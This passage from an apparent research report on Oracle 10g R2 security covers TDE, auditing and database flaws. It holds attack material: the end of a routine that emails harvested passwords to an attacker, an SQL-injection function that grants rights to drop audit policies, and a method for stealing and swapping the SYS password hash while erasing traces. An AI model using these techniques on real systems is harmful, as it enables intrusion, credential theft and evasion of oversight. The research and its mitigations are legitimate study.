END;
BEGIN
DIGITARRAY: = '0123346789';
Chararray: = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
PWDHACKED(USERNAME, ‘ NEW PASSWORD :’ || PASSWORD);
Listings 435: Sending mail to the attacker
The output of this attack is as shown in the Figure 455 below. The attack was successful and a
snapshot of the result is shown below. I actually used my Gmail account to retrieve the credentials.
Figure 455: Attacker successfully sent through an email with credentials
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 76
4.8.4 Protecting Against Clear Text Password Harvest The best way to protects against this is to set up a trigger that is triggered by anyone tying to use the
password_verify function. The trigger is set to monitor who is allowed to make use of the function
and notifies the DBA if this is breached. Another effective to be made of use of is auditing, this will
record to detail all attempts issued out on trying to use the function.
Another measure can be implemented which is always checking the state of the checksum. This is
done by calculating the checksum of the function initially and if any change to it has been made it is
shown by a differing checksum. Apparently all the advice I have provided is for the DBAs and not
Oracle.
4.9 TRANSPARENT DATA ENCRYPTION AND ITS ASSOCIATED FLAW. This is the most important feature in Oracle 10g R2 which is an addition to the Oracle Advanced
Security option. Oracle can now encrypt data both on the network as well as on the database. It sets
the standard for data encryption by tightly coupling encryption with the database to provide a highly
transparent encryption solution to protect sensitive data written to disk or backup media.” It can
protect sensitive information without breaking the existing application. According to Oracle most
companies do not have the expertise to modify current applications to make calls to the encryption
routine; manually doing this is errorprone. But they (Oracle) have a deep database embedded way
of encryption. The claim is that Oracle encrypts data before writing to the disk and when the select
statement is used on the table, it transparently decrypts data such that the applications run normally.
Unlike the previous versions of encryption where the user was responsible for key maintenance,
TDE does its own key management. The table is encrypted by a table key which in turn is encrypted
by a database Master key. To decrypt the table contents both keys are required.
4.9.1 How it works Log in as a privileged user and make a wallet with a specific password (in my case the password is
kelets23! And the user who creates the password is system/keletso) as shown below in Figure 456.
Figure 456: Creating a wallet
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 77
Now, create a table called empo from the normal emp table in Scott as user Scott. A snap shot is
provided below in Figure 457 which shows the table I created. The table actually contains 14
entries selected, a complete view is shown in Appendix 11 on page 122.
Figure 457: The table empo created
TDE allows users to encrypt selected fields of sensitive data, it allows the user to view his data and
alter the table while the wallet is open but once the wallets is closed all this is prohibited. It allows
users without the wallet password to view data that has not been encrypted. The command to
encrypt a field of data is very simple and in my case, it is shown below. In the snapshot in Figure
458 below, the field deptno has been encrypted. When a SELECT statement that encompasses the
encrypted filed is fired in a query to the table, data is automatically decrypted without affecting the
system.
Figure 458: Encrypting the field deptno in the table
Shown below in Figure 459 is the command to close the wallet. When this command is first run,
we try to insert data to see if the system will allow us to do so.
Figure 459: Closing the wallet
But before that, let us try to select the whole table and see if this is allowed by the closed wallet. As
long we include our DEPTNO in our queries, we will always get an error since this field is
protected. This is shown below in Figure 460.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 78
Figure 460: Running ‘SELECT *…’ with closed wallet
A trial to insert a record into the table yields the results shown below. The snapshot in Figure 461
below shows the behaviour of the system after I tried inserting a record.
Figure 461: Trying to insert a raw into table with wallet closed
The only allowed action for inserting a record is to insert values for all other fields and specify the
encrypted field as ‘NULL’. Now the problem arises when the value of the encrypted field is not
allowed to be set to ‘NULL’. In my case, I did not set my field deptno to reject the value null. I ran
the command as shown below in Figure 462.
Figure 462: Successfully inserting a record with closed wallet
Users without the wallet password are allowed to view information from the unencrypted fields but
restricted from viewing the encrypted field. To gain access to the public field, the user has to be
careful not to include the encrypted field in the ‘Select’ statement issued. Notice that the data
inserted as shown in Figure 462 is included in the output in Figure 463.
Figure 463: This view is allowed on the table because it does not involve the encrypted field
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 79
To reopen the wallet, we use the command below shown in Figure 464. The user has to specify the
password and normally the restrictions set on the table empo cease. They do not hold anymore for
the user with the wallet password.
Figure 464: Reactivating the wallet
TDE also allows the user to add in a salt to the encryption to make it stronger and hard to break.
This prevents attackers from successfully tracing the encryption pattern by using the matching
method on the data. TDE also it allows a user to specify the size of the AES cipher key to AES246
which by default is AES192. This makes use of the REKEY command. Oracle also allows the user
to be auto logged in so that they do not encounter multilog in sessions in order to use this database
functionality. This is done on the Oracle Wallet Manager by opening the wallet and choosing auto
login as an option.
4.9.2 Taking a closer look at the security of TDE The flaw is available on the link: (http://www.pythian.com/blogs/410/oracle10gtransparent
encryptionnotsoencrypted). The first step is to make a table that has data that the user would like
to encrypt. The whole essence of this scrutiny is to check how Oracle manages to perform an
encryption and a decryption without experiencing a noticeable time delay and at the same time keep
the data safe. In my case I made a table called “reveal _not” which has two fields, ID varchar2 (18)
and TEXT varchar2 (34). I have only one record in my table; but the section under text must not be
revealed. I made a query to the system as shown on the screenshot below; this shows me the file
number and the block number of my table in the system.
The command run is ‘select dbms_rowid.ROWID_RELATIVE_FNO (rowid) f, dbms_rowid.ROWID_BLOCK_NUMBER (rowid) b, t.* from reveal_not t;’
This is as shown below in Figure 465.
Figure 465: The command to view where table is where the table is located in the database
The table in Figure 465 shows the out put of running the command shown above in Figure 466.
Note it also shows the records in my table, the field number of the record as well as the block
number of the table.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 80
Figure 466: Output showing the data file and block number of created table
The data file number is 4 and the block number is 533, also note that my record is shown as well.
I logged in as a privileged user and dumped the data block in the database’s udump as shown in
Figure 467 below.
Figure 467: Dump the table to the udump file in the database
I used Ultra Edit Editor to view the dump; notice the clear text data in the dump in my
demonstration in Figure 468 below. The wider view of it is shown in Appendix 12 on page 123.
For now this is expected since the data is not encrypted yet.
Figure 468: Clear text in the udump file
I encrypted the data and then scrutinised how it is stored, in fact this is meant to validate Oracle’s
statement about TDE that data is stored in the encrypted format. I ran the TDE command as shown
below in Figure 469.
Figure 469: Encrypt the field ‘Text’
After performing TDE, I created an automatic data dump using the checkpoint command. This
synchronises the data in the buffer cache with the data files on the disk. Every block in the buffer
cache is written to the data files in the disk. The buffer cache is part of the Oracle’s SGA (System
Global Area); it stores copies of data blocks for easier and quicker data access as compared to
getting them from the disk. Also the SGA is a structural memory area that facilitates the transfer of
data and information between the Oracle database and the client.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 81
Figure 470: Automatically updating the udump with data in the buffer
Now, lets look at the modified dump below…WOW!!!.... We still have the clear text data mixed
with encrypted despite the claim by Oracle that TDE is safe and that even if the disks are stolen an
attacker can never retrieve data. The clear text is shown below in Figure 471.
Figure 471: Clear text still exists even after data encryption
4.9.3 Explanation It is true that Oracle keeps its data encrypted after TDE has been activated but the problem is that it
keeps it together with clear text which it effectively does not use. Oracle updates the rows in the
udump with encrypted data by adding a new row to the block and making the old one unused. It is
logical to wonder why we see clear text after performing clear transparent data encryption. Oracle
uses this as an optimisation strategy. Zeroing out the data requires a lot of CPU cycles which is not
desirable, thus Oracle prefers to leave the data in there unused rather than zeroing it out.
4.9.4 Solution to the problem The table with clear data can be moved; this will in turn defragments and reinitialises the block
elements. Look at the block below in Figure 472, there is no clear text data (Appendix 13 on page
124). But prior to getting this snapshot, we run two commands; one to move the table data and the
other one to specify the dump properties.
These commands are: Alter table reveal_not move;
Alter system dump datafile 4 block 631;
Figure 472: No clear text exists after defragmenting the udump
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 82
However, the old dumps still have the clear text data. The best thing to do to remove the data is to
create a new table space, move all contents of the old tablespace to the new and then drop the
tablespace from the database. You may also alternatively zero out (have a net value of zero,
effectively make the Hex value 0 meaning the value is now null) the old file and remove it. The
other alternative to all this, which depends on experience of the user and expertise, is to zero out the
clear text portions and leave out the encrypted sections. But this is risky since a user may lose all
valuable data. Also users must make strong salts when performing a TDE so that attackers do not
figure out the pattern of data encryption.
4.10 AUDITING
4.10.1 How it works Before illustrating the use of Auditing, let’s take a look at the current setting of the Oracle database
that I am using. The command to be used is “SHOW PARAMETER AUDIT” and the output as shown
below in Figure 473.
The audit_file_dest shows the exact Operating System directory that stores the audit trail. The
audit_sys_operarions shows whether the actions of the SYS account are audited. This includes the
privileges SYSDBA and SYSOPER. If false then these are not edited. The last variable is the
audit_trail; this can take values, none, DB, XML or OS. When it’s none it simply means that
auditing is disabled and this happens to be the default set up. OS specifies that the audits are stored
in the Operating System while DB means that the audits are stored in the database. XML simply
states that the trails are stored in the OPS and are in XML format. See Figure 473 below.
Figure 473: The audit settings on my machine
To activate auditing, we fire the command:
“ALTER SYSTEM SET audit_trail = db SCOPE = SPFILE”. This specifies where the audit trail
is to be stored. Shut down the server and restart it. In my case the command is “SHUTDOWN
IMMEDIATE” because “SHUTDOWN” on its own does not work for some reason. All these system
commands are carried out in the SYS account. Create a user for the audit testing. In my case, my
user is called “OXO/KELETSO” and grant him the connect role as well as the privileges to create
tables and procedures.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 83
The next thing is to select the aspects of the actions done by “OXO” to audit. In my case the
commands are as shown below. AUDIT ALL BY OXO BY ACCESS;
AUDIT SELECT TABLE, UPDATE TABLE, INSERT TABLE, DELETE TABLE BY OXO BY ACCESS;
AUDIT EXECUTE PROCEDURE BY OXO BY ACCESS;
Log in as OXO and create a table in the schema, insert a value into it and do all sort of actions on it
as the ones I did show below in Figure 474.
Figure 474: Commands run on the table
Log as back as SYS/KELETSO AS SYSDBA
There are quite a number of files that keep audits updates on the Oracle database. These include
DBA_AUDIT_TRAIL, DBA_AUDIT_EXISTS, ETC. The command to show this is: SELECT VIEW_NAME, FROM DBA_VIEWS WHERE VIEW_NAME LIKE ‘DBA%AUDITS’
ORDER BY VIEW_NAME;
Now to view the audits, we run the commands below in Listings 436: COLUMN USERNAME FORMAT A10
COLUMN EXTENDED_TIMESTAMP A34
COLUMN OWNER FORMAT A10
COLUMN ACTION_NAME A10
SELECT USERNAME, EXTENDED_TIMESTAMP, OWNER, ACTION_NAME FROM DBA_AUDIT_TRAIL
WHERE USERNAME = ‘OXO’;
Listings 436: Commands to view the audits
The column commands redefine the size of the returned variable so that they all fit in the output
page. The number of fields may be varied according the users needs. The database gave a total of
637 audits and Figure 475 is a potion of the snapshot. A more view of the output with more data is
shown in Appendix 14 on page 125.
Insert values
Update table
Select from…
Delete and drop table
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 84
Figure 475: A portion of the audits
At times more than one updates are done for every audited user action. My suspicion (though not
proved) is that this is due to the fact that Oracle updates all the tables that contain auditing
information (redundancy). For some reason the last column is not specific to the actual command I
ran, these include delete and update, they are recorded as “EXECUTE PROCEDURE” but “SELECT” and
“DROP” are recorded in their true names.
The audit carried out for OS is the same as that for the DB audit_trail. Auditing also allows fine
grained auditing (FGA). This audits userdefined predicates. One other factor is that it is free from
the audit_trail settings and the records are store in the FGA_LOGS table rather than the AUD$
table.
To demonstrate Oracle’s FGA, create a table and in my case the table is called “SALARY” as
shown below in the snapshot of Figure 476.
Figure 476: Table ‘Salary’ to be audited
The Figure 476 also shows the commands that I ran when inserting values into the table SALARY.
The DBMS_FGA package contains the procedures ADD_POLICY, DROP_POLICY,
ENABLE_POLICY AND DISABLE_POLICY.
If the declared policy is not needed any more, we clear the audit trail by running the command;
TRUNCATE TABLE FGA_LOG$; we also have the privilege to drop a specific policy (only the
privileged).
Logged as SYS, specify the particular audit conditions that you need scrutiny of in the policy made.
Consider the policy I used below. BEGIN
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 85
DBMS_FGA.ADD_POLICY (
OBJECT_SCHEMA => 'OXO',
OBJECT_NAME => 'SALARY',
POLICY_NAME => 'SALARY_AUDIT',
AUDIT_CONDITION => 'SAL >27400',
AUDIT_COLUMN => 'SAL');
END;
/
Listings 437: Adding a policy to the FGA policy
This added policy monitors the SAL field; precisely it is triggered by a select statement that is
meant output the value of SAL greater than 27400.
Now the user “OXO” logs in and executes the commands below.
Figure 477: Commands fired by audited user
The first “SELECT” statement that was executed gives a value that is less than 24000 thus it is not
audited, the second “SELECT” statement outputs some values that are more than the 27400 and thus
this query is recorded. The update query, though setting a value greater that 27400 is not recorded
since it does not output any value. But the last query fired gives three records of values greater than
27400 thus it is also audited; the audit_trail is shown below in Figure 478.
Figure 478: The audited predicates in the audit_trail
This is a very powerful security in Oracle indeed. It records down any queries fired to the database
and this gives the DBA a chance to find any suspicious queries passed by attackers. The example
This is audited
This is audited too
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 86
given below has been refined to show the strength of FGA. The policy added is shown below in
Listings 438. BEGIN
DBMS_FGA.ADD_POLICY (
OBJECT_SCHEMA => 'OXO',
OBJECT_NAME => 'SALARY',
POLICY_NAME => 'SALARY_AUD',
AUDIT_CONDITION => NULL,
AUDIT_COLUMN => 'SAL',
STATEMENT_TYPES => 'SELECT, INSERT, UPDATE, DELETE’);
END;
/
Listings 438: Adding a policy to the FGA policy
The policy monitors all select, insert, update and delete statements that have been fired onto the
table “SALARY” by anybody. The queries that have been fired in my example are shown below in
Figure 479.
Figure 479: The commands run by audited user
Now check the wonderful feature that the Oracle’s FGA offers. If required to do so, it captures all
queries ran by users to great detail and records them. See snapshot below in Figure 480.
Figure 480: The audit_trail for the audit set in Listings 438
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 87
4.10.2 Conclusion This is a good technique that Oracle implements to protect the data in the database. It records all the
commands executed on the database by users to great detail. If properly used, no command fired
can escape. Its fine grained auditing is similar to VPD and is also susceptible from a SQL injection
attack. If Oracle could strengthen their protection against SQL Injection then their security levels
could be higher than what it is now. Now look at the section below for a closer scrutiny of Oracle’s
auditing.
4.10.3 Destroying the Fine Grained Auditing The flaw to be demonstrated is the same as the one to break through VPD already covered in the
above chapters. The user Oxo grants himself the execute privilege on the package DBMS_FGA
through SQL Injection as shown in the Listings 439 below. CREATE OR REPLACE FUNCTION GAIN_DBMS_FGA
RETURN NUMBER
AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
DBMS_OUTPUT.PUT_LINE('EXECUTED FLAW');
EXECUTE IMMEDIATE 'GRANT EXECUTE ON DBMS_FGA TO OXO';
RETURN 1;
COMMIT;
END; /
Listings 439: Granting self execute privilege on DBMS_FGA
Before making use of the new privilege user Oxo performs a select on the table as shown below;
Figure 481: Audited action performed by user
The audit trail is as shown below in Figure 482.
Figure 482: The audit trail from DBA_FGA_AUDIT_TRAIL
There are two audits because the system had two active audits declared. Now the user drops these
two policies as shown below using his new found privilege.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 88
Figure 483: Attacking the defined policy
The statements shown below are supposed to be audited by the FGA policy defined.
Figure 484: These select statements are auditable
But take a look at the snapshot of the DBA_FGA_AUDIT_TRAIL, the policy defined against the
user Oxo has been dropped thus no successful auditing is performed as shown below.
Figure 485: The audit trail does not show any trace of the newly performed statements
4.11 GAINING SYS FROM THE ORACLE DATABASE
4.11.1 A short briefing This type of flaw is so professional that it covers up its trace soon after execution. Its backbone is
based on SQL Injection. Basically, it steals the password hash from the SYS account and stored it in
a table. After successfully doing this, it changes the SYS password into that which the attacker
wants it to be. The attacker then logs in and does everything that he so wishes. He can letter replace
the password through SQL Injection as well. The basic weakness that the attacker is using is the fact
that one can never place a rigger on the SYS account or even create one from within. The model of
attack is similar in nature to the ability of the DBA to log into any account by changing the user
passwords with the original hash stored up elsewhere. After successfully doing this, the DBA can
replace the password hash and the user will never notice that any malicious activity occurred on his
account since he has no access to audit files.
SQL Injection executed
Attacker drops both FGA policies against him as shown.
The audit trail for FGA is still the same; it has not changed a bit. The policy has successfully been dropped. Note that the number of records is still two.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 89
4.11.2 Carrying out the flaw My illustrations of the flaw are going to make use of the user Scott as an attacker. The first thing to
do is make a table to store the SYS password hash. The Figure 486 below illustrates the commands
used to make the table.
Figure 486: Create a table to contain the password hash
The table is created by Scott so the table will be situated in the Scott’s schema. The next action is to
create a procedure that steals the SYS password hash and loads it into the table PSW_DATA. It also
changes the password of SYS from the current to “newpsw”. The code is shown below in Figure 4
87.
Figure 487: Stealing the password hash and changing the SYS password
Generally, the code first checks if there is anything saved in the PWD_DATA table in Scott. If there
is nothing it inserts into the table the username and password for SYS. Log in as SYS to create the
procedure like the one shown below in Figure 488.
Figure 488: The procedure SQLIVULN calculates the average salary
The Figure 488 shown above is vulnerable to SQL Injection, notice that the line 4 in the code
accepts user input and uses it without verifying it. After creating the procedure, grant the execute
privilege to public or to Scott in my case because I am using him as the attacker.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 90
I log in as Scott and use SQL Injection on the procedure SQLIVULN as shown below in Figure 4
89.
Figure 489: Carrying out the Injection on the procedure SQLIVULN
The attack was successful as shown below in Figure 490 and Figure 491. The password hash was
sent through to the table PSW_DATA and the SYS password for SYS was changed as well. Notice
the password hash stored in Figure 490 below.
Figure 490: Notice the password has transferred to the table Scott.psw_data
My password “keletso” can not be used any more the database claims that it does not have
sufficient privileges. The password is now “newpsw” as shown in the Figure 491 below.
Figure 491: The SYS password has been changed
After extracting the data I want in the database, I ran code to change the password of SYS back to
its initial value. This I did by replacing the password hash as shown below in Figure 492. This a
common method used by DBAs to log in and out of users accounts in case of a need.
Figure 492: Restore the password hash for the SYS account
Consider the Figure 492, between lines 68, the code takes the password hash from the
PSW_DATA and replaces it back to the SYS account. Therefore when the user SYS logs in he logs
in with his normal password and he will not be able to notice that someone used his password. Line
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 91
9 deletes the table PSW_DATA to destroy proof in case of proof seeking. The function is also is
executed by SQL Injection in the same way the function to change the SYS password was executed.
Figure 493: SQL Injection to restore password
The procedure is carried out successfully; therefore the password hash is replaced back meaning
that the user SYS can log in without detecting a fault. I checked the password hash and the results
confirmed that it has been replaced. But I experienced a problem; the original password was denied
access even though the hash has been replaced. At this stage the attacker will have finished
executing his attack. Another version of the attack is gaining the password hash and breaking it
through using password hash breaking tools. This will not need the replacing of passwords process.
4.11.3 A product of the flaw It amazes me how it is possible that Oracle logs in a user without the password hash for him. Oracle
claims that it does not log in user using clear text. It claims that it hashes the user’s credentials at
log in and this is compared with the password hash that is stored in the table AUTH$. If the two
hashes are the same the user is logged in but if they differ then log in is refused. But to my surprise,
I replaced the password for SYS and obtained a password hash that is shown below in Figure 494.
Figure 494: The new password hash for SYS using the password ‘newpsw’
I then replaced the password hash for the user and this was successfully done but the old password
does not seem to work. The question to ask is “How does Oracle manage to log in a user whose
password hash does not match up with the currently existing ones. The new hashes can be seen
below in Figure 495.
Figure 495: The new hash for the password ‘newpsw’
If Oracle does not log in users using clear text passwords then there is definitely a flaw in Oracle’s
log in process. A user with a different password hash value should by right not be allowed to log in.
To investigate this further, there was need to shutdown the server to give it time to reconfigure itself
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 92
and set up the new changes in it. During the exercise I found out something interesting. I tried
logging in with my old password but still I could not, I then checked the password hash and found
that it surely belongs to the password that is being denied access. I managed to log in using the new
password even though the password hash was different. This can be seen in the Figure 496 below.
Notice that the password is ‘newpasw’ and the password hash is supposed to be identical to that
shown in Figure 494 above.
Figure 496: User logged in with a wrong password hash.
An interesting factor about the database shutdown and log in; after SYS shutdown the database
Oracle does not log him out automatically. This means that if he leaves the database shutting down
(since it takes time to do so) anyone else can restart it without authentication and takes him straight
into a logged in and authentication of the SYS session (Extremely dangerous).
4.11.4 Suggested solutions The solution to this problem is as shown in the sections above. If Oracle manages to prevent SQL
Injection then the problem described above is not a problem at all. Oracle should also look into the
way it allows users to log in because logging in users that have no valid password hashes is
unacceptable. The other thing I can suggest to Oracle is that it should log off a privileged user
completely after a successful database shutdown.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 93
Chapter 5
5. POSSIBLE EXTENSIONS
5.1 FUTURE WORK AND OTHER DOCUMENTED FLAWS The purpose of this chapter is to describe the future extension that can be added to this project. I
also included some flaws that I did not manage to perform because of time constraints. These flaws
can be looked into by anyone who is interested in analysing the security of Oracle as a database.
5.1.1 Comparison with other relational databases. An interesting extension to this project is the comparison between the Oracle and MS SQL Server
databases. Both of these databases claim to be secure and better than the other. Attackers used to
attack MS SQL Server (Microsoft products) more often as compared to Oracle databases. This
selective attack on MS SQL Server by attackers created a false security around Oracle to an extent
that they had the inscription “Unbreakable” on their company logo. This raised the attackers’
eyebrows, and many of them were keen to take this big challenge. One database security researcher,
David Litchfield took it upon himself and his team to explore this unbreakable database. It was not
longer than a week when Litchfield sent a handful of flaws to Oracle to prove to them that the
database was not secure. Since then Oracle has been under attack from hackers and this is leading
people away from trusting it as a secure database.
A comparison between Oracle and SQL Server in terms of how secure the databases are can be a
good approach to extending this project.
Another valuable comparison is that between the proprietary databases and the open source
database. This will class the likes of Oracle and SQL Server together to contend against open source
databases.
5.1.2 Wrong coding principle on Oracle It has been claimed that Oracle has defied the coding rules that have been laid down by Microsoft in
its MSDN Library. These rules affect the Oracle database on the Windows platform, and these rules
are designed for security reasons. Oracle grants low privileged users rights on some sub processes
of the main processes that may allow them to perform a denial of service attack on the database by
blocking all services for example the oracle.exe process. These privileges shall be shown on the
section below. For this type of investigation one needs to download the following free tools.
• Process Explorer (@ www.sysinternals.com)
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 94
• WinObj (@ www.sysinternals.com)
• Pipeacl Tools (@ www.bindview.com)
Use the Process Explorer tool to audit the process Oracle.exe. It will show you all the details about
the main process in Oracle called Oracle.exe. But the most important issue to consider is found by
using the tool called WinObj which allows the user to edit permissions on the processes. When
searching for permissions that can be changeable, look for objects of the process Oracle.exe that can
be opened by other processes, such as semaphores, events, sections, mutexes, pipes, threads, etc as
shown below in Figure 51
Figure 51: A view of the Oracle objects of the Oracle.exe process from the tool WinObj
A full view of the snapshot can be viewed in Appendix 15 on page 126. Now let’s take a close look
at the object permissions within the process Oracle.exe. For starters, double click on the directory
/BaseNamedObjects/*oraspan_buffer_orcl* and a popup similar to Figure 52 shown below is what
you should see.
Figure 52: shows the permissions set on the above mentioned object
A point to note is that if “Everyone” is the only user specified under “Group or user names” as
shown above and when the “Advanced” tab is clicked we find no user then it means that that object
has a null Discretionary Access Control List (DACL). This in turn means that it has no protection
assigned to it and therefore all users have full control on it. This is shown in the Figure 53 shown
below.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 95
Figure 53: shows that every user has got full right on the object
This is very interesting, Oracle objects are not protected at all. Below is a list of some of the
unprotected objects that add on to the already found.
Consider the object type mutexes, double clicking on the object
/BaseNamedObjects/*oraspan_lock_orcl* we also find out that this object has a null DACL
and every user has full control over it similar to the situation in Figure 53 above.
Consider the object type pipes, /Devices/NamedPipe/*oraspawn_pipe*.1980 has a null
DACL as well as most pipes named /Devices/NamedPipe/ORANTP*, meaning that any user
can make changes to the privilege settings.
Now consider the event type objects. Auditing the /BaseNammedObjects/
ORANTPEVENTNEED*, /BaseNammedObjects/ORANTPEVENTHAS* and the
/BaseNammedObjects/ORANTPEVENT* (* represent a Hex number), we find that all these
have got a null DACL and the “Everyone” group has full rights on the object.
The effect of all this is that any user including the low privileged network users can cause a denial
of service on the Oracle database.
Let’s consider the technical side of the issue. Microsoft has got a function that monitors privileges
assigned to objects of a given process, the function is called SetSecurtiyDescriptorDacl ().
Microsoft specifies in its MSDN documentation how this function is to be used. The structure of the
function is as shown below in Listings 51. BOOL WINAPI SetSecurityDescriptorDacl (
__in_out PSECURITY_DESCRIPTOR pSecurityDescriptor,
__in BOOL bDaclPresent,
__in_opt PACL pDacl,
__in BOOL bDaclDefaulted
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 96
);
Listings 51: The structure of the SetSecurtiyDescriptorDacl () function
In the documentation, an emphasis is made as shown below about the importance of the value of the
third parameter, the pDacl: “A pointer to an ACL structure that specifies the DACL for the security
descriptor. If this parameter is NULL, a NULL DACL is assigned to the security descriptor, which
allows all access to the object. The DACL is referenced by, not copied into, the security descriptor”
It further specifies that when a pDacl parameter does not point to a DACL and the second parameter
is set to true then a null DACL is specified. This simply means that all access to the object is
allowed and that any user has full rights on the object.
Oracle seems to ignore this and it sets the pDacl to null with the value of bDaclPresent set to true.
This simply means as stated already that the object is not protected. To investigate this issue, find
the IDA viewer and use it to open the Oracle.exe process and search for all instances where the
SetSecurityDescriptorDacl () function is used and you will be shocked at how wrong Oracle has
laid down its code in its most critical process. The Figure 54 shown below displays how Oracle
defies the security rules set by the OPS it runs upon thus leaving the whole database insecure.
Figure 54: Part of the wrong op code from the Oracle.exe process
A clearer view of the wrong op code is shown in Appendix 16 on page 127. Basically EDX is a 32
bit data register that can be used fro I/O port access, arithmetic and some interrupt calls. The
command XOR as the name suggests performs an XOR on the contents of the register EDX, this
gives a value of 0 in the register (this is zeroing the value of the register). The register size is too big
for the stored value; it is like storing a mouse in the space designated for an elephant. The byte of
zero is too small to be stored in the register; this will cause a null value in the register. The next two
push commands push the null value to the top of the stake. This will cause the value of pDacl (the
third parameter counting from the call command up in the Figure 52 above. The value of pDacl
point to a Null and the bDaclPresent is set to true, thus this particular object has its privileges set to
every user’s control.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 97
5.1.3 Brute force attack on the SYS account Paul Write from the NGS security company has code that is accessible publics to any user, which
performs a brute for attack on the SYS account of an Oracle database. The code is in C and requires
a list of suspected passwords to be tried on the SYS account. When a password is found the
program creates a file called thepasswordsare.txt in response to the command executed from the file
selectpasswords.txt. The command is “select username, password from sys.auth$”.
I tried using the code but had some compilation errors and a few technical problems. But if this flaw
can be executed successfully it might prove to be interesting. Its actually a series of flaws that are
sequential and recently he released a post flaw following the latter. The fact that Oracle have not
managed to fix the first bug allows him to develop one flaw upon another. The whole code for this
flaw is shown in the Appendix 17 on page 129. The flaws that are executable after this current flaw
are described in the link:
http://www.oracleforensics.com/wordpress/ and this is specified under the subheading SYSDBA
backdoor. Also in this document is a link to the whole document that contains the code in Appendix
17.
5.1.4 Breaking up HTTPS in Oracle Oracle uses a secure method of communication between the Server and the various clients. This is a
combination of the functionality of HTTP and SSH for secure connections. This functionality is not
activated by default but it is the DBA’s duty to turn it on. As part of the activation, it requires the
user to create a secure certificate for it. HTTPS as its intension avoids clear text data from being
transported on the internet between the Server and the client. If HTTPS is disabled an attacker dcan
successfully use traffic sniffing tools like Wireshark that can be set to select a particular traffic from
a specific host and a specific port. Alternatively It can be set on promiscuous mode to record all
traffic on the internet that concerns the specific host. Below is a snapshot of traffic stolen form the
Server that hosts Oracle in my investigations.
Figure 55: Wireshark steals data from the Internet
But despite the use of HTTPS, researchers claim that the data encryption between the client and the
server is not secure. They developed tools that break the authentication process between the client
and the Server to obtain the clear text password that belongs to the target user. When a user
authenticates himself on the database using HTTPS and if an attacker manages to captures the
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 98
authentication communication between the Server and the client, though encrypted, he can manage
to obtaining clear text passwords. All the attacker needs is encrypted keys, specifically the
Auth_sesskey as well as the Auth_vrf_data , to decrypt and obtain the clear password. Oracle’s
algorithm to encrypt is known in fine detail and tools are available to break the encryption. Below is
a snapshot of a tool called Oradecrypt11g used to break through the authentication process of
Oracle and obtaining a clear text password.
Figure 56: Breaking through Oracles authentication.
More information on this flaw is found on the link:
http://soonerorlater.hu/index.khtml?article_id=412
